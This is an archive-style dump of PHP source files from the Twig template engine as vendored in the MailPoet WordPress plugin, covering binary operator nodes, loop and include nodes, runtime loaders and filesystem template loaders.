 namespace MailPoetVendor\Twig\Node\Expression\Binary; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Compiler; class RangeBinary extends \MailPoetVendor\Twig\Node\Expression\Binary\AbstractBinary { public function compile(\MailPoetVendor\Twig\Compiler $compiler) { $compiler->raw('range(')->subcompile($this->getNode('left'))->raw(', ')->subcompile($this->getNode('right'))->raw(')'); } public function operator(\MailPoetVendor\Twig\Compiler $compiler) { return $compiler->raw('..'); } } \class_alias('MailPoetVendor\\Twig\\Node\\Expression\\Binary\\RangeBinary', 'MailPoetVendor\\Twig_Node_Expression_Binary_Range'); twig/src/Node/Expression/Binary/MatchesBinary.php000066600000001202150351206230016013 0ustar00<?php
 namespace MailPoetVendor\Twig\Node\Expression\Binary; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Compiler; class MatchesBinary extends \MailPoetVendor\Twig\Node\Expression\Binary\AbstractBinary { public function compile(\MailPoetVendor\Twig\Compiler $compiler) { $compiler->raw('preg_match(')->subcompile($this->getNode('right'))->raw(', ')->subcompile($this->getNode('left'))->raw(')'); } public function operator(\MailPoetVendor\Twig\Compiler $compiler) { return $compiler->raw(''); } } \class_alias('MailPoetVendor\\Twig\\Node\\Expression\\Binary\\MatchesBinary', 'MailPoetVendor\\Twig_Node_Expression_Binary_Matches'); twig/src/Node/Expression/Binary/SpaceshipBinary.php000066600000000477150351206230016363 0ustar00<?php
 namespace MailPoetVendor\Twig\Node\Expression\Binary; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Compiler; class SpaceshipBinary extends \MailPoetVendor\Twig\Node\Expression\Binary\AbstractBinary { public function operator(\MailPoetVendor\Twig\Compiler $compiler) { return $compiler->raw('<=>'); } } twig/src/Node/Expression/Binary/ConcatBinary.php000066600000000676150351206230015654 0ustar00<?php
 namespace MailPoetVendor\Twig\Node\Expression\Binary; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Compiler; class ConcatBinary extends \MailPoetVendor\Twig\Node\Expression\Binary\AbstractBinary { public function operator(\MailPoetVendor\Twig\Compiler $compiler) { return $compiler->raw('.'); } } \class_alias('MailPoetVendor\\Twig\\Node\\Expression\\Binary\\ConcatBinary', 'MailPoetVendor\\Twig_Node_Expression_Binary_Concat'); twig/src/Node/Expression/Binary/MulBinary.php000066600000000665150351206230015200 0ustar00<?php
 namespace MailPoetVendor\Twig\Node\Expression\Binary; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Compiler; class MulBinary extends \MailPoetVendor\Twig\Node\Expression\Binary\AbstractBinary { public function operator(\MailPoetVendor\Twig\Compiler $compiler) { return $compiler->raw('*'); } } \class_alias('MailPoetVendor\\Twig\\Node\\Expression\\Binary\\MulBinary', 'MailPoetVendor\\Twig_Node_Expression_Binary_Mul'); twig/src/Node/Expression/Binary/EqualBinary.php000066600000000674150351206230015512 0ustar00<?php
 namespace MailPoetVendor\Twig\Node\Expression\Binary; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Compiler; class EqualBinary extends \MailPoetVendor\Twig\Node\Expression\Binary\AbstractBinary { public function operator(\MailPoetVendor\Twig\Compiler $compiler) { return $compiler->raw('=='); } } \class_alias('MailPoetVendor\\Twig\\Node\\Expression\\Binary\\EqualBinary', 'MailPoetVendor\\Twig_Node_Expression_Binary_Equal'); twig/src/Node/Expression/Binary/index.php000066600000000000150351206230014364 0ustar00twig/src/Node/Expression/Binary/GreaterEqualBinary.php000066600000000721150351206230017015 0ustar00<?php
 namespace MailPoetVendor\Twig\Node\Expression\Binary; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Compiler; class GreaterEqualBinary extends \MailPoetVendor\Twig\Node\Expression\Binary\AbstractBinary { public function operator(\MailPoetVendor\Twig\Compiler $compiler) { return $compiler->raw('>='); } } \class_alias('MailPoetVendor\\Twig\\Node\\Expression\\Binary\\GreaterEqualBinary', 'MailPoetVendor\\Twig_Node_Expression_Binary_GreaterEqual'); twig/src/Node/Expression/Binary/AbstractBinary.php000066600000001664150351206230016206 0ustar00<?php
 namespace MailPoetVendor\Twig\Node\Expression\Binary; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Compiler; use MailPoetVendor\Twig\Node\Expression\AbstractExpression; use MailPoetVendor\Twig\Node\Node; abstract class AbstractBinary extends \MailPoetVendor\Twig\Node\Expression\AbstractExpression { public function __construct(\MailPoetVendor\Twig\Node\Node $left, \MailPoetVendor\Twig\Node\Node $right, int $lineno) { parent::__construct(['left' => $left, 'right' => $right], [], $lineno); } public function compile(\MailPoetVendor\Twig\Compiler $compiler) { $compiler->raw('(')->subcompile($this->getNode('left'))->raw(' '); $this->operator($compiler); $compiler->raw(' ')->subcompile($this->getNode('right'))->raw(')'); } public abstract function operator(\MailPoetVendor\Twig\Compiler $compiler); } \class_alias('MailPoetVendor\\Twig\\Node\\Expression\\Binary\\AbstractBinary', 'MailPoetVendor\\Twig_Node_Expression_Binary'); twig/src/Node/Expression/Binary/NotEqualBinary.php000066600000000705150351206230016166 0ustar00<?php
 namespace MailPoetVendor\Twig\Node\Expression\Binary; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Compiler; class NotEqualBinary extends \MailPoetVendor\Twig\Node\Expression\Binary\AbstractBinary { public function operator(\MailPoetVendor\Twig\Compiler $compiler) { return $compiler->raw('!='); } } \class_alias('MailPoetVendor\\Twig\\Node\\Expression\\Binary\\NotEqualBinary', 'MailPoetVendor\\Twig_Node_Expression_Binary_NotEqual'); twig/src/Node/Expression/Binary/FloorDivBinary.php000066600000001132150351206230016155 0ustar00<?php
 namespace MailPoetVendor\Twig\Node\Expression\Binary; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Compiler; class FloorDivBinary extends \MailPoetVendor\Twig\Node\Expression\Binary\AbstractBinary { public function compile(\MailPoetVendor\Twig\Compiler $compiler) { $compiler->raw('(int) floor('); parent::compile($compiler); $compiler->raw(')'); } public function operator(\MailPoetVendor\Twig\Compiler $compiler) { return $compiler->raw('/'); } } \class_alias('MailPoetVendor\\Twig\\Node\\Expression\\Binary\\FloorDivBinary', 'MailPoetVendor\\Twig_Node_Expression_Binary_FloorDiv'); twig/src/Node/Expression/Binary/AddBinary.php000066600000000665150351206230015133 0ustar00<?php
 namespace MailPoetVendor\Twig\Node\Expression\Binary; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Compiler; class AddBinary extends \MailPoetVendor\Twig\Node\Expression\Binary\AbstractBinary { public function operator(\MailPoetVendor\Twig\Compiler $compiler) { return $compiler->raw('+'); } } \class_alias('MailPoetVendor\\Twig\\Node\\Expression\\Binary\\AddBinary', 'MailPoetVendor\\Twig_Node_Expression_Binary_Add'); twig/src/Node/Expression/Binary/BitwiseAndBinary.php000066600000000712150351206230016465 0ustar00<?php
 namespace MailPoetVendor\Twig\Node\Expression\Binary; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Compiler; class BitwiseAndBinary extends \MailPoetVendor\Twig\Node\Expression\Binary\AbstractBinary { public function operator(\MailPoetVendor\Twig\Compiler $compiler) { return $compiler->raw('&'); } } \class_alias('MailPoetVendor\\Twig\\Node\\Expression\\Binary\\BitwiseAndBinary', 'MailPoetVendor\\Twig_Node_Expression_Binary_BitwiseAnd'); twig/src/Node/SpacelessNode.php000066600000001543150351206230012437 0ustar00<?php
 namespace MailPoetVendor\Twig\Node; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Compiler; class SpacelessNode extends \MailPoetVendor\Twig\Node\Node implements \MailPoetVendor\Twig\Node\NodeOutputInterface { public function __construct(\MailPoetVendor\Twig\Node\Node $body, int $lineno, string $tag = 'spaceless') { parent::__construct(['body' => $body], [], $lineno, $tag); } public function compile(\MailPoetVendor\Twig\Compiler $compiler) { $compiler->addDebugInfo($this); if ($compiler->getEnvironment()->isDebug()) { $compiler->write("ob_start();\n"); } else { $compiler->write("ob_start(function () { return ''; });\n"); } $compiler->subcompile($this->getNode('body'))->write("echo trim(preg_replace('/>\\s+</', '><', ob_get_clean()));\n"); } } \class_alias('MailPoetVendor\\Twig\\Node\\SpacelessNode', 'MailPoetVendor\\Twig_Node_Spaceless'); twig/src/Node/BodyNode.php000066600000000334150351206230011407 0ustar00<?php
 namespace MailPoetVendor\Twig\Node; if (!defined('ABSPATH')) exit; class BodyNode extends \MailPoetVendor\Twig\Node\Node { } \class_alias('MailPoetVendor\\Twig\\Node\\BodyNode', 'MailPoetVendor\\Twig_Node_Body'); twig/src/Node/ForNode.php000066600000006537150351206230011253 0ustar00<?php
 namespace MailPoetVendor\Twig\Node; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Compiler; use MailPoetVendor\Twig\Node\Expression\AbstractExpression; use MailPoetVendor\Twig\Node\Expression\AssignNameExpression; class ForNode extends \MailPoetVendor\Twig\Node\Node { private $loop; public function __construct(\MailPoetVendor\Twig\Node\Expression\AssignNameExpression $keyTarget, \MailPoetVendor\Twig\Node\Expression\AssignNameExpression $valueTarget, \MailPoetVendor\Twig\Node\Expression\AbstractExpression $seq, \MailPoetVendor\Twig\Node\Expression\AbstractExpression $ifexpr = null, \MailPoetVendor\Twig\Node\Node $body, \MailPoetVendor\Twig\Node\Node $else = null, int $lineno, string $tag = null) { $body = new \MailPoetVendor\Twig\Node\Node([$body, $this->loop = new \MailPoetVendor\Twig\Node\ForLoopNode($lineno, $tag)]); if (null !== $ifexpr) { $body = new \MailPoetVendor\Twig\Node\IfNode(new \MailPoetVendor\Twig\Node\Node([$ifexpr, $body]), null, $lineno, $tag); } $nodes = ['key_target' => $keyTarget, 'value_target' => $valueTarget, 'seq' => $seq, 'body' => $body]; if (null !== $else) { $nodes['else'] = $else; } parent::__construct($nodes, ['with_loop' => \true, 'ifexpr' => null !== $ifexpr], $lineno, $tag); } public function compile(\MailPoetVendor\Twig\Compiler $compiler) { $compiler->addDebugInfo($this)->write("\$context['_parent'] = \$context;\n")->write("\$context['_seq'] = \\MailPoetVendor\\twig_ensure_traversable(")->subcompile($this->getNode('seq'))->raw(");\n"); if ($this->hasNode('else')) { $compiler->write("\$context['_iterated'] = false;\n"); } if ($this->getAttribute('with_loop')) { $compiler->write("\$context['loop'] = [\n")->write("  'parent' => \$context['_parent'],\n")->write("  'index0' => 0,\n")->write("  'index'  => 1,\n")->write("  'first'  => true,\n")->write("];\n"); if (!$this->getAttribute('ifexpr')) { $compiler->write("if (is_array(\$context['_seq']) || (is_object(\$context['_seq']) && \$context['_seq'] instanceof \\Countable)) {\n")->indent()->write("\$length = count(\$context['_seq']);\n")->write("\$context['loop']['revindex0'] = \$length - 1;\n")->write("\$context['loop']['revindex'] = \$length;\n")->write("\$context['loop']['length'] = \$length;\n")->write("\$context['loop']['last'] = 1 === \$length;\n")->outdent()->write("}\n"); } } $this->loop->setAttribute('else', $this->hasNode('else')); $this->loop->setAttribute('with_loop', $this->getAttribute('with_loop')); $this->loop->setAttribute('ifexpr', $this->getAttribute('ifexpr')); $compiler->write("foreach (\$context['_seq'] as ")->subcompile($this->getNode('key_target'))->raw(' => ')->subcompile($this->getNode('value_target'))->raw(") {\n")->indent()->subcompile($this->getNode('body'))->outdent()->write("}\n"); if ($this->hasNode('else')) { $compiler->write("if (!\$context['_iterated']) {\n")->indent()->subcompile($this->getNode('else'))->outdent()->write("}\n"); } $compiler->write("\$_parent = \$context['_parent'];\n"); $compiler->write('unset($context[\'_seq\'], $context[\'_iterated\'], $context[\'' . $this->getNode('key_target')->getAttribute('name') . '\'], $context[\'' . $this->getNode('value_target')->getAttribute('name') . '\'], $context[\'_parent\'], $context[\'loop\']);' . "\n"); $compiler->write("\$context = array_intersect_key(\$context, \$_parent) + \$_parent;\n"); } } \class_alias('MailPoetVendor\\Twig\\Node\\ForNode', 'MailPoetVendor\\Twig_Node_For'); twig/src/Node/ForLoopNode.php000066600000002076150351206230012077 0ustar00<?php
 namespace MailPoetVendor\Twig\Node; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Compiler; class ForLoopNode extends \MailPoetVendor\Twig\Node\Node { public function __construct(int $lineno, string $tag = null) { parent::__construct([], ['with_loop' => \false, 'ifexpr' => \false, 'else' => \false], $lineno, $tag); } public function compile(\MailPoetVendor\Twig\Compiler $compiler) { if ($this->getAttribute('else')) { $compiler->write("\$context['_iterated'] = true;\n"); } if ($this->getAttribute('with_loop')) { $compiler->write("++\$context['loop']['index0'];\n")->write("++\$context['loop']['index'];\n")->write("\$context['loop']['first'] = false;\n"); if (!$this->getAttribute('ifexpr')) { $compiler->write("if (isset(\$context['loop']['length'])) {\n")->indent()->write("--\$context['loop']['revindex0'];\n")->write("--\$context['loop']['revindex'];\n")->write("\$context['loop']['last'] = 0 === \$context['loop']['revindex0'];\n")->outdent()->write("}\n"); } } } } \class_alias('MailPoetVendor\\Twig\\Node\\ForLoopNode', 'MailPoetVendor\\Twig_Node_ForLoop'); twig/src/Node/EmbedNode.php000066600000002153150351206230011527 0ustar00<?php
 namespace MailPoetVendor\Twig\Node; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Compiler; use MailPoetVendor\Twig\Node\Expression\AbstractExpression; use MailPoetVendor\Twig\Node\Expression\ConstantExpression; class EmbedNode extends \MailPoetVendor\Twig\Node\IncludeNode { public function __construct(string $name, int $index, \MailPoetVendor\Twig\Node\Expression\AbstractExpression $variables = null, bool $only = \false, bool $ignoreMissing = \false, int $lineno, string $tag = null) { parent::__construct(new \MailPoetVendor\Twig\Node\Expression\ConstantExpression('not_used', $lineno), $variables, $only, $ignoreMissing, $lineno, $tag); $this->setAttribute('name', $name); $this->setAttribute('index', $index); } protected function addGetTemplate(\MailPoetVendor\Twig\Compiler $compiler) { $compiler->write('$this->loadTemplate(')->string($this->getAttribute('name'))->raw(', ')->repr($this->getTemplateName())->raw(', ')->repr($this->getTemplateLine())->raw(', ')->string($this->getAttribute('index'))->raw(')'); } } \class_alias('MailPoetVendor\\Twig\\Node\\EmbedNode', 'MailPoetVendor\\Twig_Node_Embed'); twig/src/Node/IncludeNode.php000066600000004504150351206230012100 0ustar00<?php
 namespace MailPoetVendor\Twig\Node; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Compiler; use MailPoetVendor\Twig\Node\Expression\AbstractExpression; class IncludeNode extends \MailPoetVendor\Twig\Node\Node implements \MailPoetVendor\Twig\Node\NodeOutputInterface { public function __construct(\MailPoetVendor\Twig\Node\Expression\AbstractExpression $expr, \MailPoetVendor\Twig\Node\Expression\AbstractExpression $variables = null, bool $only = \false, bool $ignoreMissing = \false, int $lineno, string $tag = null) { $nodes = ['expr' => $expr]; if (null !== $variables) { $nodes['variables'] = $variables; } parent::__construct($nodes, ['only' => (bool) $only, 'ignore_missing' => (bool) $ignoreMissing], $lineno, $tag); } public function compile(\MailPoetVendor\Twig\Compiler $compiler) { $compiler->addDebugInfo($this); if ($this->getAttribute('ignore_missing')) { $template = $compiler->getVarName(); $compiler->write(\sprintf("\$%s = null;\n", $template))->write("try {\n")->indent()->write(\sprintf('$%s = ', $template)); $this->addGetTemplate($compiler); $compiler->raw(";\n")->outdent()->write("} catch (LoaderError \$e) {\n")->indent()->write("// ignore missing template\n")->outdent()->write("}\n")->write(\sprintf("if (\$%s) {\n", $template))->indent()->write(\sprintf('$%s->display(', $template)); $this->addTemplateArguments($compiler); $compiler->raw(");\n")->outdent()->write("}\n"); } else { $this->addGetTemplate($compiler); $compiler->raw('->display('); $this->addTemplateArguments($compiler); $compiler->raw(");\n"); } } protected function addGetTemplate(\MailPoetVendor\Twig\Compiler $compiler) { $compiler->write('$this->loadTemplate(')->subcompile($this->getNode('expr'))->raw(', ')->repr($this->getTemplateName())->raw(', ')->repr($this->getTemplateLine())->raw(')'); } protected function addTemplateArguments(\MailPoetVendor\Twig\Compiler $compiler) { if (!$this->hasNode('variables')) { $compiler->raw(\false === $this->getAttribute('only') ? '$context' : '[]'); } elseif (\false === $this->getAttribute('only')) { $compiler->raw('twig_array_merge($context, ')->subcompile($this->getNode('variables'))->raw(')'); } else { $compiler->raw('twig_to_array('); $compiler->subcompile($this->getNode('variables')); $compiler->raw(')'); } } } \class_alias('MailPoetVendor\\Twig\\Node\\IncludeNode', 'MailPoetVendor\\Twig_Node_Include'); twig/src/RuntimeLoader/RuntimeLoaderInterface.php000066600000000422150351206230016162 0ustar00<?php
 namespace MailPoetVendor\Twig\RuntimeLoader; if (!defined('ABSPATH')) exit; interface RuntimeLoaderInterface { public function load($class); } \class_alias('MailPoetVendor\\Twig\\RuntimeLoader\\RuntimeLoaderInterface', 'MailPoetVendor\\Twig_RuntimeLoaderInterface'); twig/src/RuntimeLoader/index.php000066600000000000150351206230012666 0ustar00twig/src/RuntimeLoader/ContainerRuntimeLoader.php000066600000001150150351206230016203 0ustar00<?php
 namespace MailPoetVendor\Twig\RuntimeLoader; if (!defined('ABSPATH')) exit; use MailPoetVendor\Psr\Container\ContainerInterface; class ContainerRuntimeLoader implements \MailPoetVendor\Twig\RuntimeLoader\RuntimeLoaderInterface { private $container; public function __construct(\MailPoetVendor\Psr\Container\ContainerInterface $container) { $this->container = $container; } public function load($class) { if ($this->container->has($class)) { return $this->container->get($class); } } } \class_alias('MailPoetVendor\\Twig\\RuntimeLoader\\ContainerRuntimeLoader', 'MailPoetVendor\\Twig_ContainerRuntimeLoader'); twig/src/RuntimeLoader/FactoryRuntimeLoader.php000066600000001005150351206230015667 0ustar00<?php
 namespace MailPoetVendor\Twig\RuntimeLoader; if (!defined('ABSPATH')) exit; class FactoryRuntimeLoader implements \MailPoetVendor\Twig\RuntimeLoader\RuntimeLoaderInterface { private $map; public function __construct(array $map = []) { $this->map = $map; } public function load($class) { if (isset($this->map[$class])) { $runtimeFactory = $this->map[$class]; return $runtimeFactory(); } } } \class_alias('MailPoetVendor\\Twig\\RuntimeLoader\\FactoryRuntimeLoader', 'MailPoetVendor\\Twig_FactoryRuntimeLoader'); twig/src/TwigTest.php000066600000002751150351206230010576 0ustar00<?php
 namespace MailPoetVendor\Twig; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Node\Expression\TestExpression; class TwigTest { private $name; private $callable; private $options; private $arguments = []; public function __construct(string $name, $callable = null, array $options = []) { if (__CLASS__ !== \get_class($this)) { @\trigger_error('Overriding ' . __CLASS__ . ' is deprecated since Twig 2.4.0 and the class will be final in 3.0.', \E_USER_DEPRECATED); } $this->name = $name; $this->callable = $callable; $this->options = \array_merge(['is_variadic' => \false, 'node_class' => \MailPoetVendor\Twig\Node\Expression\TestExpression::class, 'deprecated' => \false, 'alternative' => null], $options); } public function getName() { return $this->name; } public function getCallable() { return $this->callable; } public function getNodeClass() { return $this->options['node_class']; } public function setArguments($arguments) { $this->arguments = $arguments; } public function getArguments() { return $this->arguments; } public function isVariadic() { return $this->options['is_variadic']; } public function isDeprecated() { return (bool) $this->options['deprecated']; } public function getDeprecatedVersion() { return $this->options['deprecated']; } public function getAlternative() { return $this->options['alternative']; } } \class_alias('MailPoetVendor\\Twig\\TwigTest', 'MailPoetVendor\\Twig_SimpleTest', \false); \class_alias('MailPoetVendor\\Twig\\TwigTest', 'MailPoetVendor\\Twig_Test'); twig/src/Loader/LoaderInterface.php000066600000000657150351206230013264 0ustar00<?php
 namespace MailPoetVendor\Twig\Loader; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Error\LoaderError; use MailPoetVendor\Twig\Source; interface LoaderInterface { public function getSourceContext($name); public function getCacheKey($name); public function isFresh($name, $time); public function exists($name); } \class_alias('MailPoetVendor\\Twig\\Loader\\LoaderInterface', 'MailPoetVendor\\Twig_LoaderInterface'); twig/src/Loader/ExistsLoaderInterface.php000066600000000427150351206230014457 0ustar00<?php
 namespace MailPoetVendor\Twig\Loader; if (!defined('ABSPATH')) exit; interface ExistsLoaderInterface extends \MailPoetVendor\Twig\Loader\LoaderInterface { } \class_alias('MailPoetVendor\\Twig\\Loader\\ExistsLoaderInterface', 'MailPoetVendor\\Twig_ExistsLoaderInterface'); twig/src/Loader/ArrayLoader.php000066600000002606150351206230012436 0ustar00<?php
 namespace MailPoetVendor\Twig\Loader; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Error\LoaderError; use MailPoetVendor\Twig\Source; final class ArrayLoader implements \MailPoetVendor\Twig\Loader\LoaderInterface, \MailPoetVendor\Twig\Loader\ExistsLoaderInterface, \MailPoetVendor\Twig\Loader\SourceContextLoaderInterface { private $templates = []; public function __construct(array $templates = []) { $this->templates = $templates; } public function setTemplate($name, $template) { $this->templates[$name] = $template; } public function getSourceContext($name) { $name = (string) $name; if (!isset($this->templates[$name])) { throw new \MailPoetVendor\Twig\Error\LoaderError(\sprintf('Template "%s" is not defined.', $name)); } return new \MailPoetVendor\Twig\Source($this->templates[$name], $name); } public function exists($name) { return isset($this->templates[$name]); } public function getCacheKey($name) { if (!isset($this->templates[$name])) { throw new \MailPoetVendor\Twig\Error\LoaderError(\sprintf('Template "%s" is not defined.', $name)); } return $name . ':' . $this->templates[$name]; } public function isFresh($name, $time) { if (!isset($this->templates[$name])) { throw new \MailPoetVendor\Twig\Error\LoaderError(\sprintf('Template "%s" is not defined.', $name)); } return \true; } } \class_alias('MailPoetVendor\\Twig\\Loader\\ArrayLoader', 'MailPoetVendor\\Twig_Loader_Array'); twig/src/Loader/ChainLoader.php000066600000004573150351206230012407 0ustar00<?php
 namespace MailPoetVendor\Twig\Loader; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Error\LoaderError; final class ChainLoader implements \MailPoetVendor\Twig\Loader\LoaderInterface, \MailPoetVendor\Twig\Loader\ExistsLoaderInterface, \MailPoetVendor\Twig\Loader\SourceContextLoaderInterface { private $hasSourceCache = []; private $loaders = []; public function __construct(array $loaders = []) { foreach ($loaders as $loader) { $this->addLoader($loader); } } public function addLoader(\MailPoetVendor\Twig\Loader\LoaderInterface $loader) { $this->loaders[] = $loader; $this->hasSourceCache = []; } public function getLoaders() { return $this->loaders; } public function getSourceContext($name) { $exceptions = []; foreach ($this->loaders as $loader) { if (!$loader->exists($name)) { continue; } try { return $loader->getSourceContext($name); } catch (\MailPoetVendor\Twig\Error\LoaderError $e) { $exceptions[] = $e->getMessage(); } } throw new \MailPoetVendor\Twig\Error\LoaderError(\sprintf('Template "%s" is not defined%s.', $name, $exceptions ? ' (' . \implode(', ', $exceptions) . ')' : '')); } public function exists($name) { if (isset($this->hasSourceCache[$name])) { return $this->hasSourceCache[$name]; } foreach ($this->loaders as $loader) { if ($loader->exists($name)) { return $this->hasSourceCache[$name] = \true; } } return $this->hasSourceCache[$name] = \false; } public function getCacheKey($name) { $exceptions = []; foreach ($this->loaders as $loader) { if (!$loader->exists($name)) { continue; } try { return $loader->getCacheKey($name); } catch (\MailPoetVendor\Twig\Error\LoaderError $e) { $exceptions[] = \get_class($loader) . ': ' . $e->getMessage(); } } throw new \MailPoetVendor\Twig\Error\LoaderError(\sprintf('Template "%s" is not defined%s.', $name, $exceptions ? ' (' . \implode(', ', $exceptions) . ')' : '')); } public function isFresh($name, $time) { $exceptions = []; foreach ($this->loaders as $loader) { if (!$loader->exists($name)) { continue; } try { return $loader->isFresh($name, $time); } catch (\MailPoetVendor\Twig\Error\LoaderError $e) { $exceptions[] = \get_class($loader) . ': ' . $e->getMessage(); } } throw new \MailPoetVendor\Twig\Error\LoaderError(\sprintf('Template "%s" is not defined%s.', $name, $exceptions ? ' (' . \implode(', ', $exceptions) . ')' : '')); } } \class_alias('MailPoetVendor\\Twig\\Loader\\ChainLoader', 'MailPoetVendor\\Twig_Loader_Chain'); twig/src/Loader/FilesystemLoader.php000066600000013116150351206230013502 0ustar00<?php
 namespace MailPoetVendor\Twig\Loader; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Error\LoaderError; use MailPoetVendor\Twig\Source; class FilesystemLoader implements \MailPoetVendor\Twig\Loader\LoaderInterface, \MailPoetVendor\Twig\Loader\ExistsLoaderInterface, \MailPoetVendor\Twig\Loader\SourceContextLoaderInterface { const MAIN_NAMESPACE = '__main__'; protected $paths = []; protected $cache = []; protected $errorCache = []; private $rootPath; public function __construct($paths = [], string $rootPath = null) { $this->rootPath = (null === $rootPath ? \getcwd() : $rootPath) . \DIRECTORY_SEPARATOR; if (\false !== ($realPath = \realpath($rootPath))) { $this->rootPath = $realPath . \DIRECTORY_SEPARATOR; } if ($paths) { $this->setPaths($paths); } } public function getPaths($namespace = self::MAIN_NAMESPACE) { return isset($this->paths[$namespace]) ? $this->paths[$namespace] : []; } public function getNamespaces() { return \array_keys($this->paths); } public function setPaths($paths, $namespace = self::MAIN_NAMESPACE) { if (!\is_array($paths)) { $paths = [$paths]; } $this->paths[$namespace] = []; foreach ($paths as $path) { $this->addPath($path, $namespace); } } public function addPath($path, $namespace = self::MAIN_NAMESPACE) { $this->cache = $this->errorCache = []; $checkPath = $this->isAbsolutePath($path) ? $path : $this->rootPath . $path; if (!\is_dir($checkPath)) { throw new \MailPoetVendor\Twig\Error\LoaderError(\sprintf('The "%s" directory does not exist ("%s").', $path, $checkPath)); } $this->paths[$namespace][] = \rtrim($path, '/\\'); } public function prependPath($path, $namespace = self::MAIN_NAMESPACE) { $this->cache = $this->errorCache = []; $checkPath = $this->isAbsolutePath($path) ? $path : $this->rootPath . $path; if (!\is_dir($checkPath)) { throw new \MailPoetVendor\Twig\Error\LoaderError(\sprintf('The "%s" directory does not exist ("%s").', $path, $checkPath)); } $path = \rtrim($path, '/\\'); if (!isset($this->paths[$namespace])) { $this->paths[$namespace][] = $path; } else { \array_unshift($this->paths[$namespace], $path); } } public function getSourceContext($name) { if (null === ($path = $this->findTemplate($name)) || \false === $path) { return new \MailPoetVendor\Twig\Source('', $name, ''); } return new \MailPoetVendor\Twig\Source(\file_get_contents($path), $name, $path); } public function getCacheKey($name) { if (null === ($path = $this->findTemplate($name)) || \false === $path) { return ''; } $len = \strlen($this->rootPath); if (0 === \strncmp($this->rootPath, $path, $len)) { return \substr($path, $len); } return $path; } public function exists($name) { $name = $this->normalizeName($name); if (isset($this->cache[$name])) { return \true; } return null !== ($path = $this->findTemplate($name, \false)) && \false !== $path; } public function isFresh($name, $time) { if (null === ($path = $this->findTemplate($name)) || \false === $path) { return \false; } return \filemtime($path) < $time; } protected function findTemplate($name, $throw = \true) { $name = $this->normalizeName($name); if (isset($this->cache[$name])) { return $this->cache[$name]; } if (isset($this->errorCache[$name])) { if (!$throw) { return \false; } throw new \MailPoetVendor\Twig\Error\LoaderError($this->errorCache[$name]); } try { $this->validateName($name); list($namespace, $shortname) = $this->parseName($name); } catch (\MailPoetVendor\Twig\Error\LoaderError $e) { if (!$throw) { return \false; } throw $e; } if (!isset($this->paths[$namespace])) { $this->errorCache[$name] = \sprintf('There are no registered paths for namespace "%s".', $namespace); if (!$throw) { return \false; } throw new \MailPoetVendor\Twig\Error\LoaderError($this->errorCache[$name]); } foreach ($this->paths[$namespace] as $path) { if (!$this->isAbsolutePath($path)) { $path = $this->rootPath . $path; } if (\is_file($path . '/' . $shortname)) { if (\false !== ($realpath = \realpath($path . '/' . $shortname))) { return $this->cache[$name] = $realpath; } return $this->cache[$name] = $path . '/' . $shortname; } } $this->errorCache[$name] = \sprintf('Unable to find template "%s" (looked into: %s).', $name, \implode(', ', $this->paths[$namespace])); if (!$throw) { return \false; } throw new \MailPoetVendor\Twig\Error\LoaderError($this->errorCache[$name]); } private function normalizeName($name) { return \preg_replace('#/{2,}#', '/', \str_replace('\\', '/', $name)); } private function parseName($name, $default = self::MAIN_NAMESPACE) { if (isset($name[0]) && '@' == $name[0]) { if (\false === ($pos = \strpos($name, '/'))) { throw new \MailPoetVendor\Twig\Error\LoaderError(\sprintf('Malformed namespaced template name "%s" (expecting "@namespace/template_name").', $name)); } $namespace = \substr($name, 1, $pos - 1); $shortname = \substr($name, $pos + 1); return [$namespace, $shortname]; } return [$default, $name]; } private function validateName($name) { if (\false !== \strpos($name, "\0")) { throw new \MailPoetVendor\Twig\Error\LoaderError('A template name cannot contain NUL bytes.'); } $name = \ltrim($name, '/'); $parts = \explode('/', $name); $level = 0; foreach ($parts as $part) { if ('..' === $part) { --$level; } elseif ('.' !== $part) { ++$level; } if ($level < 0) { throw new \MailPoetVendor\Twig\Error\LoaderError(\sprintf('Looks like you try to load a template outside configured directories (%s).', $name)); } } } private function isAbsolutePath($file) { return \strspn($file, '/\\', 0, 1) || \strlen($file) > 3 && \ctype_alpha($file[0]) && ':' === $file[1] && \strspn($file, '/\\', 2, 1) || null !== \parse_url($file, \PHP_URL_SCHEME); } } \class_alias('MailPoetVendor\\Twig\\Loader\\FilesystemLoader', 'MailPoetVendor\\Twig_Loader_Filesystem'); twig/src/Loader/SourceContextLoaderInterface.php000066600000000454150351206230016005 0ustar00<?php
 namespace MailPoetVendor\Twig\Loader; if (!defined('ABSPATH')) exit; interface SourceContextLoaderInterface extends \MailPoetVendor\Twig\Loader\LoaderInterface { } \class_alias('MailPoetVendor\\Twig\\Loader\\SourceContextLoaderInterface', 'MailPoetVendor\\Twig_SourceContextLoaderInterface'); twig/src/Loader/index.php000066600000000000150351206230011322 0ustar00twig/src/FileExtensionEscapingStrategy.php000066600000001113150351206230014764 0ustar00<?php
